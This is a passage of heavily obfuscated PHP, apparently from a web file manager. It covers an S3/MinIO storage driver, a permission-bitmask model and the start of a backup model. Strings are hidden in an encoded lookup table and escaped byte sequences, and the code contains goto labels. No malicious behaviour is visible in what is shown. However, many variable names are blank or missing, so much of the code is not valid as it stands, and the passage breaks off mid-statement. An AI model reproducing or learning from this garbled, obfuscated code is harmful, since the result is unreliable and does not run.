rtrim($ŕ, $ю[8]); if (is_null($䗮Ӻ)) { $м = array(); return; } if (is_null($ؑ)) { unset($м[$]); return; } if (!is_null($)) { $м[$] = $; return; } $ = isset($м[$]) ? $м[$] : null; if (!is_null($)) { return $; } $ = $this->{$䗮Ӻ}($ؑ); $м[$] = $; return $; } public function fileOutImage($, $ = 250) { $캂 =& $_SERVER[譃]; set_timeout(); if (substr($, 0, 4) == $캂[149]) { $this->fileOutLink($); } $͔ = $this->info($); $ý = $͔[$캂[32]]; $ = !1; if (isset($GLOBALS[$캂[165]]) && $GLOBALS[$캂[165]][$캂[78]] == $͔[$캂[78]]) { $ = $GLOBALS[$캂[165]][$캂[166]]; if (!$͔[$캂[167]]) { $͔[$캂[167]] = $GLOBALS[$캂[165]]; } if (isset($[$캂[168]])) { if ($[$캂[168]] <= $ && $[$캂[169]] <= $) { $ = !0; } } $ý = $͔[$캂[167]][$캂[32]]; } if ($͔[$캂[80]] <= 1024 * 50 || $ || !function_exists($캂[170]) || $͔[$캂[171]] == $캂[172]) { return $this->fileOut($, !1, $ý); } if (isset($͔[$캂[167]][$캂[173]])) { $ޡƄ = $͔[$캂[167]][$캂[173]]; } else { if (isset($͔[$캂[167]][$캂[174]])) { $ޡƄ = $͔[$캂[167]][$캂[174]]; } else { $ޡƄ = md5("{$͔[$캂[32]]}\x5f{$͔[$캂[78]]}\137{$͔[$캂[80]]}"); } } $מש = "{$ޡƄ}\x5f{$}\56\160\156\x67"; if (!($ϔ = IO::fileNameExist(IO_PATH_SYSTEM_TEMP, $캂[175]))) { $Ӂ = IO::mkdir(IO_PATH_SYSTEM_TEMP . $캂[176]); } else { $Ӂ = KodIO::make($ϔ); } if ($ϔ = IO::fileNameExist($Ӂ, $מש)) { $ = KodIO::make($ϔ); return IO::fileOut($, !1, $ý); } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } $ = DATA_THUMB . $מש; del_file($); if (!@file_exists($)) { $Թᙔ = TEMP_FILES; if (!is_dir($Թᙔ)) { mk_dir($Թᙔ); } $ = $Թᙔ . $ޡƄ . $캂[10] . $͔[$캂[171]]; if (!@file_exists($)) { $ = $this->download($, $); } ImageThumb::createThumb($, $, $, $ * 10); } if (!file_exists($) || filesize($) < 100) { return @file_exists($) ? IO::fileOut($) : $this->fileOut($); } if (!($ = IO::move($, $Ӂ))) { return IO::fileOut($); } del_file($); IO::fileOut($); } public function fileOutImageServer($, $̎ӛ = 250) { $this->fileOutImage($, $̎ӛ); } public function fileNameAuto($, $, $Ƥ = REPEAT_RENAME, $ܡ = false) { $ߛ =& $_SERVER[譃]; $ґ = $ === $ߛ[12] ? $ : rtrim($, $ߛ[8]) . $ߛ[8] . $; if ($Ƥ == REPEAT_REPLACE || !$this->exist($ґ) || $ܡ && $Ƥ != REPEAT_RENAME_FOLDER) { return $; } if ($Ƥ == REPEAT_SKIP) { return !1; } $䣭 = $ߛ[10] . get_path_ext($); $䣭 = $䣭 == $ߛ[10] || $ܡ ? $ߛ[12] : $䣭; $ = 1; $ = substr($, 0, strlen($) - strlen($䣭)); $ = $ . "\50{$}\x29{$䣭}"; while ($this->exist(rtrim($, $ߛ[8]) . $ߛ[8] . $)) { $ = $ . "\50{$}\x29{$䣭}"; $++; } return $; } private function fileNameAutoList($, $, $݃ = false) { $ႌ =& $_SERVER[譃]; $ݨ = $this->listPath($, !0); $ݨ = array_merge($ݨ[$ႌ[77]], $ݨ[$ႌ[76]]); $ = array_to_keyvalue($ݨ, $ႌ[12], $ႌ[32]); $ = $ႌ[10] . get_path_ext($); $ = $ == $ႌ[10] || $݃ ? $ႌ[12] : $; $ = substr($, 0, strlen($) - strlen($)); $Ҭ = $ . "\50\60\51{$}"; for ($ = 1; $ <= count($) + 1; $++) { $Ҭ = $ . "\x28{$}\51{$}"; if (!in_array_not_case($Ҭ, $)) { return $Ҭ; } } return $Ҭ; } public function listAllFiles($¶, $Ȕ, $Ө = array()) { $ゑ =& $_SERVER[譃]; if (empty($Ȕ)) { return array(); } $Ь = array(); $¶ = trim($¶, $ゑ[8]); foreach ($Ȕ as $) { $כ = ltrim(substr(trim($, $ゑ[8]), strlen($¶)), $ゑ[8]); $Ь = array_merge($Ь, $this->slicePath($כ)); } $Ƶ = array(); foreach (array_unique($Ь) as $) { $弞ӆ = array($ゑ[78] => $this->getPathOuter($ゑ[8] . $¶ . $ゑ[8] . $), $ゑ[79] => 1, $ゑ[80] => 0); if (substr($, -1) != $ゑ[8]) { $弞ӆ[$ゑ[79]] = 0; $ = $this->getPath($¶ . $ゑ[8] . $); $弞ӆ[$ゑ[80]] = isset($Ө[$]) ? $Ө[$] : $this->size($); } $Ƶ[] = $弞ӆ; } return $Ƶ; } public function slicePath($ջ) { $ѥ =& $_SERVER[譃]; $ۗ꜎ = explode($ѥ[8], trim($ջ, $ѥ[8])); $ = 0; do { ++$; $轒̛[] = implode($ѥ[8], array_slice($ۗ꜎, 0, $)) . $ѥ[8]; } while ($ < count($ۗ꜎)); $轒̛[count($ۗ꜎) - 1] = $ջ; return $轒̛; } public function getHost() { $ =& $_SERVER[譃]; $lj鮿 = parse_url(trim($this->domain, $[8])); $ư = isset($lj鮿[$[177]]) ? $lj鮿[$[177]] : http_type(); $ = isset($lj鮿[$[178]]) ? $lj鮿[$[178]] : $lj鮿[$[78]]; if (isset($lj鮿[$[179]])) { $ .= $[4] . $lj鮿[$[179]]; } return $ư . $[180] . $; } public function pathEncode($) { $ϑ =& $_SERVER[譃]; return str_replace($ϑ[181], $ϑ[8], rawurlencode($)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\166\64"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\60"; public function __construct($쌟) { set_timeout(); require_once SDK_DIR . $_SERVER[譃][182]; parent::__construct(); $this->_init($쌟); } public function _init($ɀ) { foreach ($ɀ as $ => $ګ) { if (isset($this->{$})) { $this->{$} = $ګ; } } $this->endpoint = $ɀ[$_SERVER[譃][183]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($¡ = "\x76\64") { $this->signVer = $¡; $this->client->setSignatureVersion($¡); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $Ł =& $_SERVER[譃]; $Ӄ = $this->getBucketCors(); if (!$Ӄ || !is_array($Ӄ)) { return !1; } if ($Ӄ[$Ł[184]] != $Ł[185] || $Ӄ[$Ł[186]] != $Ł[185]) { return !1; } $ջ = array_map($Ł[187], $Ӄ[$Ł[188]]); if (!is_array($ջ)) { $ջ = array(); } $φӀ = array($Ł[189], $Ł[190], $Ł[191], $Ł[192], $Ł[193]); $σ = array_diff($φӀ, $ջ); return empty($σ); } public function mkfile($, $뾁 = '', $ȇ = REPEAT_RENAME) { $ԭ = $this->setContent($, $뾁); if ($ԭ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($ۚރ, $ՠ͈ = REPEAT_SKIP) { $ =& $_SERVER[譃]; if (empty($ۚރ) && $ۚރ !== $[194]) { return !1; } if ($this->_isFolder($ۚރ)) { return $this->getPathOuter($ۚރ); } $ڐ = $this->setContent($ۚރ, $[12], !0); if ($ڐ !== !1) { return $this->getPathOuter($ۚރ); } return !1; } public function copyFile($уƋ, $Ȫ, $Ŭ = array()) { $̓ =& $_SERVER[譃]; $ = $this->objectMeta($уƋ); if (!$) { return !1; } if ($[$̓[80]] <= 1024 * 1024 * 200) { $ƍ = $this->client->copyObject($this->bucket, $уƋ, $this->bucket, $Ȫ, $̓[195], $Ŭ); } else { $ƍ = $this->client->multiCopyObject($this->bucket, $уƋ, $this->bucket, $Ȫ, $Ŭ); } $ƍ = $ƍ ? $this->getPathOuter($Ȫ) : !1; return $ƍ; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($ﰶ) { return $this->client->deleteObject($this->bucket, $ﰶ); } public function delFolder($) { $ᓒ =& $_SERVER[譃]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $ᓒ[8]) . $ᓒ[8]; if (!empty($) && $ !== $ᓒ[194] && !in_array($, $[$ᓒ[77]])) { $[$ᓒ[77]][] = $; } $Ӯ = $this->delByBatch($[$ᓒ[76]]); if (!$Ӯ) { return !1; } $Ӯ = $this->delByBatch($[$ᓒ[77]]); if (!$Ӯ) { return !1; } return $this->delFile($); } private function delByBatch($Ɓ) { foreach (array_chunk($Ɓ, 1000) as $) { $Âꑆ = $this->client->deleteObjects($this->bucket, $); if (!$Âꑆ) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function listPath($, $ = false) { $ =& $_SERVER[譃]; $ = $this->fileList($, $[8], !0); foreach ($[$[77]] as $ɂ => $ڹ) { $[$[77]][$ɂ] = $this->folderInfo($ڹ, $); } foreach ($[$[76]] as $ɂ => $ڹ) { $[$[76]][$ɂ] = $this->fileInfo($ڹ[$[32]], $, $ڹ); } return $; } private function fileInfo($ؠ, $Є = false, $ = array()) { $ =& $_SERVER[譃]; $݊ = array($[32] => $this->pathThis($ؠ), $[78] => $this->getPathOuter($ؠ), $[33] => $[196], $[171] => $this->ext($ؠ), $[80] => isset($[$[80]]) ? $[$[80]] : 0); if ($Є) { return $݊; } $݊[$[197]] = $݊[$[86]] = 0; $݊[$[198]] = $݊[$[199]] = !0; if (empty($)) { $ = $this->objectMeta($ؠ); if (!$) { return $݊; } } if (isset($[$[200]])) { $݊[$[86]] = $[$[200]]; } if (isset($[$[80]])) { $݊[$[80]] = $[$[80]]; } return $݊; } private function folderInfo($Ȟ, $ڮٯ = false) { $Ǵ =& $_SERVER[譃]; $갶 = array($Ǵ[32] => $this->pathThis($Ȟ), $Ǵ[78] => $this->getPathOuter($Ǵ[8] . $Ȟ), $Ǵ[33] => $Ǵ[79]); if ($ڮٯ) { return $갶; } $갶[$Ǵ[197]] = $갶[$Ǵ[86]] = 0; $갶[$Ǵ[198]] = $갶[$Ǵ[199]] = !0; if ($Ȟ == $Ǵ[12]) { return $갶; } $Ȟ = trim($Ȟ, $Ǵ[8]) . $Ǵ[8]; $ = $this->objectMeta($Ȟ); if (isset($[$Ǵ[200]])) { $갶[$Ǵ[197]] = $[$Ǵ[200]]; } return $갶; } private function fileList($ة, $ٙ = '', $㑉 = 0) { $ﳒѨ =& $_SERVER[譃]; $ = rtrim($ة, $ﳒѨ[8]) . $ﳒѨ[8]; $ = $this->listObjs($, null, null, $ٙ); if (!$) { return array($ﳒѨ[77] => array(), $ﳒѨ[76] => array()); } $㈓ = $this->listItemCache === !1 ? !1 : !0; $ = $ծ㌹ = array(); foreach ($[$ﳒѨ[201]] as $ƺ) { $Յ = $ƺ[$ﳒѨ[32]]; if ($Յ == $) { continue; } $Á = isset($ƺ[$ﳒѨ[80]]) ? $ƺ[$ﳒѨ[80]] : 0; $ = $Á == 0 && substr($Յ, strlen($Յ) - 1, 1) == $ﳒѨ[8] ? !0 : !1; if ($㈓) { $this->cacheMethod($ﳒѨ[202], $Յ, $); $this->cacheMethod($ﳒѨ[203], $Յ, $ƺ); } if ($) { $[] = $Յ; continue; } $ծ㌹[] = $㑉 ? $ƺ : $Յ; } foreach ($[$ﳒѨ[204]] as $ƺ) { $[] = $ƺ[$ﳒѨ[32]]; if ($㈓) { $this->cacheMethod($ﳒѨ[202], $ƺ[$ﳒѨ[32]], !0); } } if ($㈓) { $this->cacheMethod($ﳒѨ[202], $ة, !0); } return array($ﳒѨ[77] => $, $ﳒѨ[76] => $ծ㌹); } private function listObjs($, $ = null, $츍 = null, $ = null) { $ =& $_SERVER[譃]; $ = trim($, $[8]); $ = empty($) && $ !== $[194] ? $[12] : $ . $[8]; return $this->client->getBucket($this->bucket, $, $, $츍, $, !0); } public function has($Ά, $ = false, $Į = true) { $ۍծ =& $_SERVER[譃]; $Ά = trim($Ά, $ۍծ[8]); $컍 = empty($Ά) && $Ά !== $ۍծ[194] ? $ۍծ[12] : $Ά . $ۍծ[8]; $ = null; $Ճ = 500; $ɾ = $ۍծ[8]; $ܭ = $ = array(); while (!0) { $ = $this->listObjs($Ά, $, $Ճ, $ɾ); if (!$) { break; } $ = $[$ۍծ[205]]; $ƣ装 = $[$ۍծ[201]]; $젦 = $[$ۍծ[204]]; if (empty($ƣ装) && empty($젦)) { break; } if (count($ƣ装) == 1 && $ƣ装[0][$ۍծ[32]] == $컍) { break; } if ($) { if (count($ƣ装)) { $ƣ装 = array_column($ƣ装, $ۍծ[32]); $ܭ = array_merge($ܭ, $ƣ装); } if (count($젦)) { $젦 = array_column($젦, $ۍծ[32]); $ = array_merge($, $젦); } if ($ === null) { break; } continue; } if ($Į) { if (!empty($ƣ装)) { if (count($ƣ装) > 1 || isset($ƣ装[0][$ۍծ[32]]) && $ƣ装[0][$ۍծ[32]] != $컍) { return !0; } } } else { if (!empty($젦)) { return !0; } } if ($ === null) { break; } } if ($) { $ܭ = array_diff($ܭ, array($컍)); $ܭ = count(array_unique($ܭ)); $ = count(array_unique($)); return array($ۍծ[206] => $ܭ, $ۍծ[207] => $); } return !1; } public function listAll($ʔ) { $ =& $_SERVER[譃]; $ = $this->fileList($ʔ, $[12], !0); $ = array(); foreach ($[$[76]] as $ә) { $[$ә[$[32]]] = $ә[$[80]]; } foreach ($[$[77]] as $ә) { if (is_string($ә)) { $[$ә] = 0; } } return $this->listAllFiles($ʔ, array_keys($), $); } public function canRead($Ƞ) { $Ó =& $_SERVER[譃]; $͇ = $this->client->getAccessControlPolicy($this->bucket, $Ƞ); if (!$͇) { return !1; } return in_array($͇, array($Ó[208], $Ó[209], $Ó[210])) ? !0 : !1; } public function canWrite($ޒ߈) { $Ô =& $_SERVER[譃]; $㦡 = $this->client->getAccessControlPolicy($this->bucket, $ޒ߈); if (!$㦡) { return !1; } return in_array($㦡, array($Ô[208], $Ô[209])) ? !0 : !1; } public function getContent($ݫї) { return $this->client->getObject($this->bucket, $ݫї); } public function setContent($舀Č, $ʈ = '', $燝 = false) { $˴ =& $_SERVER[譃]; $舀Č = $燝 ? trim($舀Č, $˴[8]) . $˴[8] : $舀Č; $գ = get_file_mime(get_path_ext($舀Č)); $ȸ = $this->client->putObject($ʈ, $this->bucket, $舀Č, $˴[195], array(), $գ); if (!$ȸ) { return !1; } if ($燝) { return !0; } $this->cacheMethod(null, null); $ȸ = $this->copyFile($舀Č, $舀Č, array($˴[211] => $ȸ[$˴[212]])); return $ȸ ? !0 : !1; } public function fileSubstr($ݙ, $㲓, $) { $ = $㲓 + $ - 1; return $this->client->getObject($this->bucket, $ݙ, array($_SERVER[譃][213] => "\142\x79\x74\145\x73\75{$㲓}\55{$}")); } public function upload($, $է, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[譃]; $ = array($[211] => @md5_file($է)); $̭ = array($[214] => get_file_mime(get_path_ext($))); if (IO::size($է) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($է, $this->bucket, $, $[195], $, $̭); return !empty($) ? $this->getPathOuter($) : !1; } $輚 = $this->client->multiUploadObject($է, $this->bucket, trim($, $[8]), $, $̭); return $輚 ? $this->getPathOuter($) : !1; } public function download($͵, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ַ = $this->client->getObject($this->bucket, $͵, array(), $); return $ַ !== !1 ? $ : !1; } public function link($è, $˫ = array()) { $踙ԕ =& $_SERVER[譃]; if ($this->signVer == $踙ԕ[215]) { return $this->client->getAuthenticatedURL($this->bucket, $è, 3600 * 12, $˫); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($è, $踙ԕ[8]), 3600 * 12, $this->region, array(), !0, $˫); } public function fileOut($, $ܭ = false, $ĸ = false, $ږܳ = '') { $ۇ =& $_SERVER[譃]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $ܭ, $ĸ, $ږܳ); } if (!$ĸ) { $ĸ = $this->pathThis($); } $ = get_file_mime(get_path_ext($ĸ)); if ($ == $ۇ[216]) { return parent::fileOut($, $ܭ, $ĸ, $ږܳ); } $Ҕ = array($ۇ[217] => $); if ($ܭ) { $Ҕ[$ۇ[218]] = $ۇ[219] . rawurlencode($ĸ); } else { } $靑 = $this->link($, $Ҕ); $this->fileOutLink($靑); } public function fileOutServer($ي, $ݱ = false, $ = false, $Æ = '') { parent::fileOut($ي, $ݱ, $, $Æ); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($ǽ, $ = '') { $Ĝ =& $_SERVER[譃]; $ЀѮ = $this->objectMeta($ǽ); if (!$ЀѮ) { return !1; } $ = $ ? $ : _get($ЀѮ, $Ĝ[220]); $ = $ ? $ : _get($ЀѮ, $Ĝ[212], $Ĝ[12]); return $; } public function uploadFormData($㰼, $Ü = 3600) { $ج =& $_SERVER[譃]; $ѻΙ = $this->pathFather($㰼); $ǫ = $this->client->getHttpUploadPostParams($this->bucket, $ѻΙ, $ج[195], $Ü); return array_merge((array) $ǫ, array($ج[178] => $this->getHost())); } public function multiUploadFormData($Ḇ, $ = 3600) { $̦պ =& $_SERVER[譃]; $ = gmdate($̦պ[221]); $нޑ = array(); $ݤ = $this->client->getUploadId($this->bucket, $Ḇ, $нޑ); if (!$ݤ) { return !1; } return array($̦պ[222] => $ݤ, $̦պ[178] => $this->getHost() . $̦պ[8] . $this->pathEncode($Ḇ), $̦պ[223] => $, $̦պ[95] => $Ḇ); } public function multiUploadAuthData($, $ = array()) { $Ď =& $_SERVER[譃]; $ = isset($[$Ď[223]]) ? $[$Ď[223]] : gmdate($Ď[221]); $ = isset($[$Ď[171]]) ? $[$Ď[171]] : $Ď[12]; $ = $[$Ď[95]]; unset($[$Ď[95]]); if (isset($[$Ď[224]])) { $[$Ď[223]] = $; return $this->listUploadParts($, $); } $ = array($Ď[225], $Ď[12], $Ď[121], $Ď[12], "\170\x2d\x61\x6d\172\x2d\144\141\x74\x65\72{$}", $Ď[8] . $this->bucket . $Ď[8] . $this->pathEncode($) . $); if (strpos($, $Ď[226]) === 0) { $[0] = $Ď[227]; } if (isset($[$Ď[228]]) && $[$Ď[228]] == $Ď[229]) { $[0] = $Ď[229]; } $Ơ = implode($Ď[230], $); $Ä = base64_encode(hash_hmac($Ď[231], $Ơ, $this->secret, !0)); $ʵ = $Ď[232] . $this->accessKey . $Ď[4] . $Ä; if (strpos($, $Ď[226]) === 0) { return array($Ď[233] => $ʵ, $Ď[223] => $); } return $ʵ; } public function listUploadParts($̔, $ = array()) { $㼬 =& $_SERVER[譃]; $ = str_replace($㼬[234], $㼬[12], $[$㼬[171]]); $ = $this->client->listParts($this->bucket, $̔, $); if (!$) { return !1; } unset($[$㼬[224]], $[$㼬[228]]); $[$㼬[95]] = $̔; $ = $this->multiUploadAuthData($̔, $); if (empty($)) { return !1; } return array($㼬[233] => $, $㼬[223] => $[$㼬[223]], $㼬[235] => $); } public function getHost() { return parent::getHost() . $_SERVER[譃][8] . $this->bucket; } public function size($Ŝ) { $̔ = $this->objectMeta($Ŝ); return $̔ ? $̔[$_SERVER[譃][80]] : 0; } public function info($ް) { if ($this->isFolder($ް)) { return $this->folderInfo($ް); } else { if ($this->isFile($ް)) { return $this->fileInfo($ް); } } return !1; } public function exist($ک) { return $this->isFile($ک) || $this->isFolder($ک); } public function isFile($㽤) { return !$this->isFolder($㽤) && $this->objectMeta($㽤); } public function isFolder($) { return $this->cacheMethod($_SERVER[譃][202], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[譃][203], $); } protected function _objectMeta($͙ú) { $ =& $_SERVER[譃]; $͙ú = rtrim($͙ú, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $͙ú); if (!isset($[$[220]]) && isset($[$[236]])) { $[$[220]] = $[$[236]]; } } catch (Exception $쁧) { $ = !1; } if (!$) { } return $; } protected function _isFolder($) { $ѐ =& $_SERVER[譃]; $ = rtrim($, $ѐ[8]); if ($ == $ѐ[12] || $ == $ѐ[8]) { return !0; } $қ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($қ[$ѐ[201]])) { return !1; } $ݺ = $қ[$ѐ[201]][0][$ѐ[32]]; return stripos($ݺ, $ . $ѐ[8]) === 0 ? !0 : !1; if (substr($ݺ, -1) == $ѐ[8]) { return !0; } if (get_path_this($ݺ) == get_path_this($)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[譃][215]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } } goto a; Eô: class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $с =& $_SERVER[譃]; $ = array(array($с[417] => LNG($с[1824]), $с[1825] => $с[1826], $с[1827] => 1, $с[1828] => 1, $с[1829] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($с[417] => LNG($с[1830]), $с[1825] => $с[1831], $с[1827] => 2, $с[1828] => 1, $с[1829] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($с[417] => LNG($с[1832]), $с[1825] => $с[1833], $с[1827] => 3, $с[1828] => 1, $с[1829] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($с[417] => LNG($с[1834]), $с[1825] => $с[1835], $с[1827] => 4, $с[1828] => 1, $с[1829] => self::AUTH_SHOW | self::AUTH_VIEW), array($с[417] => LNG($с[1836]), $с[1825] => $с[1837], $с[1827] => 5, $с[1828] => 1, $с[1829] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($с[417] => LNG($с[1838]), $с[1825] => $с[1839], $с[1827] => 6, $с[1828] => 1, $с[1829] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($с[417] => LNG($с[1840]), $с[1825] => $с[1841], $с[1827] => 7, $с[1828] => 1, $с[1829] => 0)); return $; } public static function authCheck($, $끋) { $ = intval($); if ($GLOBALS[$_SERVER[譃][499]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $끋); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($쌶錰) { return self::authCheck($쌶錰, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($צ) { return self::authCheck($צ, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($׃) { return self::authCheck($׃, self::AUTH_REMOVE); } public static function authCheckShare($多) { return self::authCheck($多, self::AUTH_SHARE); } public static function authCheckComment($) { return self::authCheck($, self::AUTH_COMMENT); } public static function authCheckEvent($҈) { return self::authCheck($҈, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($λ, $) { $ɷ =& $_SERVER[譃]; $ޑ = array($ɷ[1842] => self::AUTH_VIEW, $ɷ[1197] => self::AUTH_DOWNLOAD, $ɷ[108] => self::AUTH_UPLOAD, $ɷ[1793] => self::AUTH_EDIT, $ɷ[1792] => self::AUTH_REMOVE, $ɷ[1803] => self::AUTH_SHARE, $ɷ[353] => self::AUTH_COMMENT, $ɷ[1643] => self::AUTH_EVENT, $ɷ[1843] => self::AUTH_ROOT); if (!isset($ޑ[$])) { return; } $ = $ޑ[$]; $λ = intval($λ); if ($λ <= 0) { return !1; } if (($λ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($λ & $); } public static function authDisable($д, $) { if (intval($д) <= 0) { return 0; } return intval($д) & ~$; } public $optionType = "\x53\x79\x73\164\x65\x6d\56\163\x6f\x75\x72\143\x65\x41\x75\164\x68\x4c\x69\x73\164"; public $field = array("\x6e\141\155\145", "\141\165\164\150", "\154\x61\x62\x65\x6c", "\144\x69\x73\x70\154\x61\x79", "\x73\171\163\x74\145\x6d", "\163\157\162\x74"); public function initData() { $ = $this->authDefault(); foreach ($ as $) { $this->add($); } } public function findAuth($, $ܡ) { $ĵ =& $_SERVER[譃]; $â = parent::listData(); foreach ($â as $) { $ = intval($[$ĵ[410]]); if ($ <= 0 || $[$ĵ[1844]] == 0) { continue; } if (($ & $) != $) { continue; } if (($ & $ܡ) != 0) { continue; } return $[$ĵ[396]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function listData($̚ = false, $Ə = "\163\x6f\162\x74", $ = false) { return parent::listData($̚, $Ə, $); } public function update($, $ƙ) { $ן =& $_SERVER[譃]; $̯ = parent::listData($); $ = $this->findByName($ƙ[$ן[32]]); if (!$̯ || $ && $[$ן[396]] != $̯[$ן[396]]) { return !1; } $this->filterAuth($ƙ[$ן[410]]); return parent::update($, $ƙ); } public function remove($) { $ʊ = parent::listData($); if (!$ʊ || $ʊ[$_SERVER[譃][1274]]) { return !1; } return parent::remove($); } public function add($ֹ = array()) { $ٷԴ =& $_SERVER[譃]; if ($this->findByName($ֹ[$ٷԴ[32]])) { return !1; } $Ȫ = array($ٷԴ[32] => $ٷԴ[12], $ٷԴ[410] => 1, $ٷԴ[1845] => $ٷԴ[1833], $ٷԴ[1844] => 1, $ٷԴ[1274] => 0, $ٷԴ[1846] => 0); $ֹ = array_merge($Ȫ, $ֹ); $ֹ[$ٷԴ[1846]] = $this->getSort(); $this->filterAuth($ֹ[$ٷԴ[410]]); return parent::insert($ֹ); } private function getSort() { $ =& $_SERVER[譃]; $ = parent::listData(); $΅ߑ = array_to_keyvalue($, $[12], $[1846]); return empty($΅ߑ) ? 0 : max($΅ߑ) + 1; } private function filterAuth(&$) { if (!$) { return; } $ᆨ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ᆨ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($ᆨ); return; } $ր = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $) { if (isset($ր[$])) { $ = array_merge($, $ր[$]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } public function sort($, $嫠ˍ) { return parent::update($, $嫠ˍ); } } class BackupModel extends ModelBaseLight { public $optionType = "\123\x79\x73\164\145\155\x2e\x62\x61\143\x6b\x75\160\114\x69\163\x74"; public $field = array("\x69\157", "\156\x61\155\145", "\163\164\x61\x74\165\x73", "\x63\157\156\x74\145\x6e\164", "\155\141\156\165\x61\x6c", "\162\145\163\165\154\x74", "\164\x69\x6d\145\106\162\x6f\x6d", "\x74\151\155\x65\124\x6f"); public function config() { $ٷ =& $_SERVER[譃]; $ = Model($ٷ[768])->get($ٷ[778]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$ٷ[753]])) { $[$ٷ[753]] = $ٷ[89]; } unset($[$ٷ[1625]]); Action($ٷ[1847])->taskInit(); Model($ٷ[1624])->cacheClear(); $ = $ٷ[1848]; $퉸 = Model($ٷ[1849])->findByKey($ٷ[1643], $); if (!$퉸) { $퉸 = array(); } if (isset($퉸[$ٷ[200]])) { $퉸[$ٷ[200]] = json_decode($퉸[$ٷ[200]], !0); } if (isset($[$ٷ[200]])) { $퉸[$ٷ[200]][$ٷ[1628]] = $[$ٷ[200]]; unset($[$ٷ[200]]); } return array_merge($퉸, $); } public function listData($ = false, $ϙ = "\155\x6f\144\151\146\x79\124\151\x6d\x65", $ = false) { return parent::listData($, $ϙ, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($) { $ =& $_SERVER[譃]; $ʾه = $this->listData($); if (!$ʾه || empty($ʾه[$[32]])) { return !0; } Task::kill($[777]); Task::kill($[798]); Task::kill($[807]); $ = $ʾه[$[32]]; $ܺ = 